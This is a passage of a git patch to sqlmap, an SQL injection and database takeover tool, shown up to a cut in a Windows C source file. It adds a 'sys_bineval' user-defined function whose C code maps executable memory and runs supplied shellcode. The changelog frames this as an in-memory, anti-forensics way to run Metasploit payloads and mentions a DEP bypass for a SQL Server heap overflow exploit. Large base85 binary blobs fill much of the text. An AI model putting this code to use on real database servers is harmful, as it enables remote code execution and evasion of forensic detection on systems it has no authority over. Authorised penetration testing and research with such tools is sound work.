From 89c43893d4f3002b7f53baffa01f3512989db93b Mon Sep 17 00:00:00 2001 From: Bernardo Damele Date: Fri, 25 Sep 2009 23:03:45 +0000 Subject: [PATCH] Merged back from personal branch to trunk (svn merge -r846:940 ...) Changes: * Major enhancement to the Microsoft SQL Server stored procedure heap-based buffer overflow exploit (--os-bof) to automatically bypass DEP memory protection. * Added support for MySQL and PostgreSQL to execute Metasploit shellcode via UDF 'sys_bineval' (in-memory, anti-forensics technique) as an option instead of uploading the standalone payload stager executable. * Added options for MySQL, PostgreSQL and Microsoft SQL Server to read/add/delete Windows registry keys. * Added options for MySQL and PostgreSQL to inject custom user-defined functions. * Added support for --first and --last so the user now has even more granularity in what to enumerate in the query output. * Minor enhancement to save the session by default in 'output/hostname/session' file if -s option is not specified. * Minor improvement to automatically remove sqlmap created temporary files from the DBMS underlying file system. * Minor bugs fixed. * Major code refactoring. --- doc/ChangeLog | 23 ++ doc/THANKS | 16 +- .../lib_mysqludf_sys/linux/Makefile | 2 +- .../linux/lib_mysqludf_sys.sql | 2 + .../linux/so/lib_mysqludf_sys.so | Bin 5476 -> 9568 bytes .../linux/src/lib_mysqludf_sys.c | 127 ++++++- .../windows/dll/lib_mysqludf_sys.dll | Bin 6656 -> 6656 bytes .../windows/lib_mysqludf_sys.sql | 2 + .../windows/src/lib_mysqludf_sys.c | 127 ++++++- .../lib_postgresqludf_sys/linux/install.sh | 2 + .../linux/lib_postgresqludf_sys.sql | 1 + .../linux/so/8.2/lib_postgresqludf_sys.so | Bin 5476 -> 5472 bytes .../linux/so/8.3/lib_postgresqludf_sys.so | Bin 5476 -> 5472 bytes .../linux/src/8.2/lib_postgresqludf_sys.c | 83 ++++- .../linux/src/8.3/lib_postgresqludf_sys.c | 81 +++++ .../windows/dll/8.2/lib_postgresqludf_sys.dll | Bin 6144 -> 6144 bytes .../windows/dll/8.3/lib_postgresqludf_sys.dll | Bin 6144 -> 6144 bytes .../windows/lib_postgresqludf_sys.sql | 1 + .../windows/src/8.2/lib_postgresqludf_sys.c | 83 ++++- .../windows/src/8.3/lib_postgresqludf_sys.c | 81 +++++ lib/controller/action.py | 14 + lib/controller/controller.py | 2 +- lib/core/common.py | 3 + lib/core/option.py | 2 +- lib/core/optiondict.py | 35 +- lib/core/session.py | 18 - lib/core/settings.py | 2 +- lib/core/target.py | 59 ++-- lib/parse/cmdline.py | 49 ++- lib/parse/queriesfile.py | 4 + lib/request/inject.py | 24 +- lib/takeover/abstraction.py | 42 ++- lib/takeover/dep.py | 171 --------- lib/takeover/metasploit.py | 119 ++++--- lib/takeover/registry.py | 58 +-- lib/takeover/udf.py | 329 +++++++++++++++++- lib/takeover/xp_cmdshell.py | 12 +- lib/techniques/blind/inference.py | 37 +- lib/utils/resume.py | 2 +- plugins/dbms/mssqlserver.py | 153 ++++---- plugins/dbms/mysql.py | 168 ++++----- plugins/dbms/postgresql.py | 137 ++++---- plugins/generic/misc.py | 39 ++- plugins/generic/takeover.py | 187 ++++++++-- sqlmap.conf | 46 +++ udf/mysql/linux/lib_mysqludf_sys.so | Bin 5476 -> 9568 bytes udf/mysql/windows/lib_mysqludf_sys.dll | Bin 6656 -> 6656 bytes .../linux/8.2/lib_postgresqludf_sys.so | Bin 5476 -> 5472 bytes .../linux/8.3/lib_postgresqludf_sys.so | Bin 5476 -> 5472 bytes .../windows/8.2/lib_postgresqludf_sys.dll | Bin 6144 -> 6144 bytes .../windows/8.3/lib_postgresqludf_sys.dll | Bin 6144 -> 6144 bytes xml/queries.xml | 2 + 52 files changed, 1698 insertions(+), 647 deletions(-) delete mode 100644 lib/takeover/dep.py diff --git a/doc/ChangeLog b/doc/ChangeLog index 9667a7a97..d63290d88 100644 --- a/doc/ChangeLog +++ b/doc/ChangeLog @@ -1,3 +1,26 @@ +sqlmap (0.8-1) stable; urgency=low + + * Major enhancement to the Microsoft SQL Server stored procedure + heap-based buffer overflow exploit (--os-bof) to automatically bypass + DEP memory protection. + * Added support for MySQL and PostgreSQL to execute Metasploit shellcode + via UDF 'sys_bineval' (in-memory, anti-forensics technique) as an + option instead of uploading the standalone payload stager executable. + * Added options for MySQL, PostgreSQL and Microsoft SQL Server to + read/add/delete Windows registry keys. + * Added options for MySQL and PostgreSQL to inject custom user-defined + functions. + * Added support for --first and --last so the user now has even more + granularity in what to enumerate in the query output. + * Minor enhancement to save the session by default in + 'output/hostname/session' file if -s option is not specified. + * Minor improvement to automatically remove sqlmap created temporary + files from the DBMS underlying file system. + * Minor bugs fixed. + * Major code refactoring. + + -- Bernardo Damele A. G. DAY, DD MMM 20YY 10:00:00 +0000 + sqlmap (0.7-1) stable; urgency=low * Adapted Metasploit wrapping functions to work with latest 3.3 diff --git a/doc/THANKS b/doc/THANKS index b4bd7c5be..73a37d9f6 100644 --- a/doc/THANKS +++ b/doc/THANKS @@ -20,7 +20,7 @@ Cesar Cerrudo sqlmap tree as a contrib library and used to run the stand-alone payload stager on the target Windows machine as SYSTEM user if the user wants to perform a privilege escalation attack, - http://www.argeniss.com/research/Churrasco.zip + http://www.argeniss.com/research/TokenKidnapping.pdf Karl Chen for providing with the multithreading patch for the inference @@ -50,6 +50,11 @@ Dan Guido Adam Faheem for reporting a few bugs +James Fisher + for providing me with two very good feature requests + for his great tool too brute force directories and files names on + web/application servers, Dir Buster, http://tinyurl.com/dirbuster + Jim Forster for reporting a bug @@ -70,6 +75,7 @@ Ivan Giacomelli for reviewing the documentation Oliver Gruskovnjak + for reporting a bug for providing me with a minor patch Davide Guerri @@ -108,10 +114,13 @@ Nicolas Krassas for reporting a bug Guido Landi + for reporting a couple of bugs for the great technical discussions for Microsoft SQL Server 2000 and Microsoft SQL Server 2005 'sp_replwritetovarbin' stored procedure heap-based buffer overflow - (MS09-004) exploit development, http://www.milw0rm.com/author/1413 + (MS09-004) exploit development + for presenting with me at SOURCE Conference 2009 in Barcelona (Spain) + on September 21, 2009 Lee Lawson for reporting a minor bug @@ -153,6 +162,9 @@ John F. Reiser Antonio Parata for providing me with some ideas for the PHP backdoor +Adrian Pastor + for donating to sqlmap development + Chris Patten for reporting a bug in the blind SQL injection bisection algorithm diff --git a/extra/mysqludfsys/lib_mysqludf_sys/linux/Makefile b/extra/mysqludfsys/lib_mysqludf_sys/linux/Makefile index 5aaa4b66f..24ddc7193 100644 --- a/extra/mysqludfsys/lib_mysqludf_sys/linux/Makefile +++ b/extra/mysqludfsys/lib_mysqludf_sys/linux/Makefile @@ -3,4 +3,4 @@ LIBDIR=/usr/lib install: gcc -Wall -I/usr/include/mysql -O1 -shared src/lib_mysqludf_sys.c -o so/lib_mysqludf_sys.so strip -sx so/lib_mysqludf_sys.so - cp -f so/lib_mysqludf_sys.so $(LIBDIR)/lib_mysqludf_sys.so + sudo cp -f so/lib_mysqludf_sys.so $(LIBDIR)/lib_mysqludf_sys.so diff --git a/extra/mysqludfsys/lib_mysqludf_sys/linux/lib_mysqludf_sys.sql b/extra/mysqludfsys/lib_mysqludf_sys/linux/lib_mysqludf_sys.sql index 6fb7933ba..a01e11d5b 100644 --- a/extra/mysqludfsys/lib_mysqludf_sys/linux/lib_mysqludf_sys.sql +++ b/extra/mysqludfsys/lib_mysqludf_sys/linux/lib_mysqludf_sys.sql @@ -25,9 +25,11 @@ DROP FUNCTION IF EXISTS sys_get; DROP FUNCTION IF EXISTS sys_set; DROP FUNCTION IF EXISTS sys_exec; DROP FUNCTION IF EXISTS sys_eval; +DROP FUNCTION IF EXISTS sys_bineval; CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so'; CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so'; CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so'; CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so'; CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so'; +CREATE FUNCTION sys_bineval RETURNS int SONAME 'lib_mysqludf_sys.so'; diff --git a/extra/mysqludfsys/lib_mysqludf_sys/linux/so/lib_mysqludf_sys.so b/extra/mysqludfsys/lib_mysqludf_sys/linux/so/lib_mysqludf_sys.so index f46f4e8f5bc5085bc4f77d30933bf94d9eba3647..699065da356ed27e0720b4cd6b61f829f46ef9eb 100755 GIT binary patch delta 2894 zcmeHJYiyHM7(V;@wf)MvOD{;ra9v9W9pW}%iXbsF3@=>d2eJq`RPfY?>+DP zyyu+vyyw>6XALjy3QT&%B}AFOBaQKng9w7)jETUM5JP17qRA*qoPz*RMUV{vP z4}cF;A9;0tVuJHHNJ0nLQ3Y@xFc~m_C{PAui_NNdEjbBt7T^OymW^U2PymF101yGP zWlkY#_X77=78R*g$Hc^R025QeOoc3w=L$;;N>Srn{D56q7;rgI1XRK@#p6V61~3I+ z$)}a`71NZS`5>LDxbfx0SvW3xrp{jS485+ar2p&BKQwGz`o<1&jF&x^0E~unCi6^yn8Xw0^g1R_bEP+FTRCgLPX{^5KAXCs0P0Wr=$py0d<0Z8a#eV55aCu z2w(&BC71v+MgJ3!Tj2bsr5^{s83FRlcwKN9LS;q1d|Q_*HpiN_?cMbJhFDXqO|y%C*($zvd<-lz+f{Fus z`U)kta}6#S*mX+itCN>jb&Tj~&hFXvzCm1HDLHDIX6FxW_B8L_^m%@|obpHK!t9mF zW(}*-AAxD_+c`s)8R5KB@=;^0cDX{nYg8w?P~g+p_utPaXe4eE9V5|X<7hHImfSy{ zin~*f8L5Yq%cls!{JZ=5g~Myi^f)8xEjsu<+IIHFTl)0~W9vHHHbW?~Bb|5HAGkiy zUmw9;iKRycxlqy_%18r=5ut%(eMCollB#L4zhlg7Tb5iGF*v#)pIj7CoH^7(zsqx# z=gKVS^kfto_>i8JS;!(OxB*rlRcg?7qd(B%3nM|7jsLTk}hv> z4l_XZk(VHZ55wJS5zP<*Jr3SD7OqDf@2wKG$^}4VQG!>Y^xDaFu2R*E&og% T<})&s=aY*j7u$QGou&3KnlL~M delta 2075 zcmb_dTWC~Q6g_k2&O4b$IyMuv^SBdR+tQ>-1&J0JkXmUeS|o#2ids7#8PZIeMumGogt3G-p;k0O1>8cK!v@IyoVs1&Db-Ft^j^6d^QYwvyb zJ!kKI9<%VuKhK_?bV;GNN zJeD{$wz*gr{2vAh9pFR}pcSArTBMxdwYKg7uLJx*6u?w!4bT7}Clv>{@Oq$LICo8o z%!mt8(tu%VN<9XC0%!&TwvWV0eLxCef|MAL1kf6V!c0LkOlh(CahscL=C_E+nv1g% zhgZ)WY1wgg`mEP^Qa?D(2^h>oSQRJWLadmHQCJ~`izWdk#RAeYqOH?^e|PVCnbtO@ zwtjl!%*DZL<-i+}hvyG`UrPajmV7LY&i3L|%>*-Kz_IM0-L=a8YKflV(t%~2d z%096&UQ@Gj)0rslS`{|4GE8MKp2u;RfWHY_GYtL{o#)2TX5S{c{g5V{g(~M~` z9Z*5z-N0HEoJwCo7fxY*tISl+#_rY!0E}X#-0-4aSuus=5xCZ{;Fd;j^ z@ht57D1i5b_EGSHSH@hD%Ds1}SG{wnx3_Ru^%weceQF?QS%X6ZeTVx;E*)_v9XxKh zX)FJ9x#DRr@@DF41S`}I_+X+3_ray6Y+tme2W#uTV_$rL zhHnhAOQ{NOj~max9WvgRyJW;FB;`XqFQ`!!au}zJ1#MW@+@dOUBMWdm`QAqQ=zuE2k5-y{#us!6C1S|5`Ev3x;zKu$wo=!@yz-L(-yiM|-XEDt_*zPs z7&R9#rMe5w!$!^pO*$f*i+tE?vWQu@LEa=hFK^$zCAqQtt>M0*;pC>a7uq_X>likz zj?Sko$0G=O{n1Tj&m=!27vxMTs?968oQnI{VxlBBQwbj%Ok~7mB>ZeUQFch15%;k( z#7^lp5^nabbytRrVaBamp{8WS3A;i zH#dDUDEYMEETUtX{9<)BC +#include +#include #endif #ifdef STANDARD @@ -191,6 +194,33 @@ char* sys_eval( , char *error ); +/** + * sys_bineval + * + * executes bynary opcodes. + * Beware that this can be a security hazard. + */ +DLLEXP +my_bool sys_bineval_init( + UDF_INIT *initid +, UDF_ARGS *args +); + +DLLEXP +void sys_bineval_deinit( + UDF_INIT *initid +); + +DLLEXP +int sys_bineval( + UDF_INIT *initid +, UDF_ARGS *args +); + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter); +#endif + #ifdef __cplusplus } @@ -216,10 +246,12 @@ my_bool lib_mysqludf_sys_info_init( } return status; } + void lib_mysqludf_sys_info_deinit( UDF_INIT *initid ){ } + char* lib_mysqludf_sys_info( UDF_INIT *initid , UDF_ARGS *args @@ -250,10 +282,12 @@ my_bool sys_get_init( return 1; } } + void sys_get_deinit( UDF_INIT *initid ){ } + char* sys_get( UDF_INIT *initid , UDF_ARGS *args @@ -305,6 +339,7 @@ my_bool sys_set_init( } return 0; } + void sys_set_deinit( UDF_INIT *initid ){ @@ -312,6 +347,7 @@ void sys_set_deinit( free(initid->ptr); } } + long long sys_set( UDF_INIT *initid , UDF_ARGS *args @@ -352,10 +388,12 @@ my_bool sys_exec_init( return 1; } } + void sys_exec_deinit( UDF_INIT *initid ){ } + my_ulonglong sys_exec( UDF_INIT *initid , UDF_ARGS *args @@ -382,10 +420,12 @@ my_bool sys_eval_init( return 1; } } + void sys_eval_deinit( UDF_INIT *initid ){ } + char* sys_eval( UDF_INIT *initid , UDF_ARGS *args @@ -422,5 +462,90 @@ char* sys_eval( return result; } +my_bool sys_bineval_init( + UDF_INIT *initid +, UDF_ARGS *args +){ + return 0; +} -#endif /* HAVE_DLOPEN */ +void sys_bineval_deinit( + UDF_INIT *initid +){ + +} + +int sys_bineval( + UDF_INIT *initid +, UDF_ARGS *args +){ + int32 argv0_size; + size_t len; + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + int pID; + char *code; +#else + int *addr; + size_t page_size; + pid_t pID; +#endif + + argv0_size = strlen(args->args[0]); + len = (size_t)argv0_size; + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + // allocate a +rwx memory page + code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + strncpy(code, args->args[0], len); + + WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE); +#else + pID = fork(); + if(pID<0) + return 1; + + if(pID==0) + { + page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size + page_size = (len+page_size) & ~(page_size); // align to page boundary + + // mmap an rwx memory page + addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0); + + if (addr == MAP_FAILED) + return 1; + + strncpy((char *)addr, args->args[0], len); + + ((void (*)(void))addr)(); + } + + if(pID>0) + waitpid(pID, 0, WNOHANG); +#endif + + return 0; +} + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter) +{ + __try + { + __asm + { + mov eax, [lpParameter] + call eax + } + } + __except(EXCEPTION_EXECUTE_HANDLER) + { + + } + + return 0; +} +#endif + +#endif /* HAVE_DLOPEN */ \ No newline at end of file diff --git a/extra/mysqludfsys/lib_mysqludf_sys/windows/dll/lib_mysqludf_sys.dll b/extra/mysqludfsys/lib_mysqludf_sys/windows/dll/lib_mysqludf_sys.dll index 26733307b0e8f41194de86f86c6ff2ce515ebc54..8f62d0fb332a86311e07838b184cd8055c18ae69 100755 GIT binary patch delta 3823 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 diff --git a/extra/mysqludfsys/lib_mysqludf_sys/windows/lib_mysqludf_sys.sql b/extra/mysqludfsys/lib_mysqludf_sys/windows/lib_mysqludf_sys.sql index fa083e54d..dbe93bf6f 100644 --- a/extra/mysqludfsys/lib_mysqludf_sys/windows/lib_mysqludf_sys.sql +++ b/extra/mysqludfsys/lib_mysqludf_sys/windows/lib_mysqludf_sys.sql @@ -25,9 +25,11 @@ DROP FUNCTION IF EXISTS sys_get; DROP FUNCTION IF EXISTS sys_set; DROP FUNCTION IF EXISTS sys_exec; DROP FUNCTION IF EXISTS sys_eval; +DROP FUNCTION IF EXISTS sys_bineval; CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.dll'; CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.dll'; CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.dll'; CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.dll'; CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.dll'; +CREATE FUNCTION sys_bineval RETURNS int SONAME 'lib_mysqludf_sys.dll'; diff --git a/extra/mysqludfsys/lib_mysqludf_sys/windows/src/lib_mysqludf_sys.c b/extra/mysqludfsys/lib_mysqludf_sys/windows/src/lib_mysqludf_sys.c index 8f023b412..2e3f2ac89 100644 --- a/extra/mysqludfsys/lib_mysqludf_sys/windows/src/lib_mysqludf_sys.c +++ b/extra/mysqludfsys/lib_mysqludf_sys/windows/src/lib_mysqludf_sys.c @@ -23,6 +23,9 @@ #define DLLEXP __declspec(dllexport) #else #define DLLEXP +#include +#include +#include #endif #ifdef STANDARD @@ -191,6 +194,33 @@ char* sys_eval( , char *error ); +/** + * sys_bineval + * + * executes bynary opcodes. + * Beware that this can be a security hazard. + */ +DLLEXP +my_bool sys_bineval_init( + UDF_INIT *initid +, UDF_ARGS *args +); + +DLLEXP +void sys_bineval_deinit( + UDF_INIT *initid +); + +DLLEXP +int sys_bineval( + UDF_INIT *initid +, UDF_ARGS *args +); + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) +DWORD WINAPI exec_payload(LPVOID lpParameter); +#endif + #ifdef __cplusplus } @@ -216,10 +246,12 @@ my_bool lib_mysqludf_sys_info_init( } return status; } + void lib_mysqludf_sys_info_deinit( UDF_INIT *initid ){ } + char* lib_mysqludf_sys_info( UDF_INIT *initid , UDF_ARGS *args @@ -250,10 +282,12 @@ my_bool sys_get_init( return 1; } } + void sys_get_deinit( UDF_INIT *initid ){ } + char* sys_get( UDF_INIT *initid , UDF_ARGS *args @@ -305,6 +339,7 @@ my_bool sys_set_init( } return 0; } + void sys_set_deinit( UDF_INIT *initid ){ @@ -312,6 +347,7 @@ void sys_set_deinit( free(initid->ptr); } } + long long sys_set( UDF_INIT *initid , UDF_ARGS *args @@ -352,10 +388,12 @@ my_bool sys_exec_init( return 1; } } + void sys_exec_deinit( UDF_INIT *initid ){ } + my_ulonglong sys_exec( UDF_INIT *initid , UDF_ARGS *args @@ -382,10 +420,12 @@ my_bool sys_eval_init( return 1; } } + void sys_eval_deinit( UDF_INIT *initid ){ } + char* sys_eval( UDF_INIT *initid , UDF_ARGS *args @@ -422,5 +462,90 @@ char* sys_eval( return result; } +my_bool sys_bineval_init( + UDF_INIT *initid +, UDF_ARGS *args +){ + return 0; +} -#endif /* HAVE_DLOPEN */ +void sys_bineval_deinit( + UDF_INIT *initid +){ + +} + +int sys_bineval( + UDF_INIT *initid +, UDF_ARGS *args +){ + int32 argv0_size; + size_t len; + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + int pID; + char *code; +#else + int *addr; + size_t page_size; + pid_t pID; +#endif + + argv0_size = strlen(args->args[0]); + len = (size_t)argv0_size; + +#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32) + // allocate a +rwx memory page + code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + strncpy(code, args->args[0], len); + + WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), 